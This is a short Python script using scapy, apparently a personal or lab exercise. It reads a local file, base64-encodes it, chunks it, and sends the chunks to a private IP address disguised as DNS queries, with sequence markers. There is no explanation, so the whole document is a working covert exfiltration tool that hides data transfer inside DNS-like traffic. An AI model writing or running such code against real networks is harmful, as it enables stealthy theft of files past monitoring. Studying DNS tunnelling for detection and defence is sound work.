#! /usr/bin/python
from time import sleep
from scapy.all import *
from random import randrange
import base64

f = open('/home/shay/Downloads/duckjpeg','rb')
st=base64.b64encode(f.read())
f.close()
strlist=[]
if len(st)<=100:
    strlist.append(st)
while len(st)>100:
    strlist.append(st[:100])
    st=st[100:]
    if len(st)<100:
        strlist.append(st)
num_of_seq=len(strlist)


def pkt_send(ip,msg,st=None):
    l1=IP(dst=ip)
    l2=UDP(sport=randrange(4025,59999))
    l3=DNS(rd=1,qd=DNSQR(qname=msg))
    l4=Raw(load=st)
    pkt=l1/l2/l3/l4
   # pkt.show()
    res=sr(pkt,verbose=1,timeout=3)

def send_file(strli):
    pkt_send('192.168.1.37',"pre",len(strlist))
    pkt_send('192.168.1.37',"start")
    print len(strli)
    sleep(2)
    for i in strli:
        pkt_send('192.168.1.37',str(strli.index(i)),i)
        print strli.index(i)


send_file(strlist)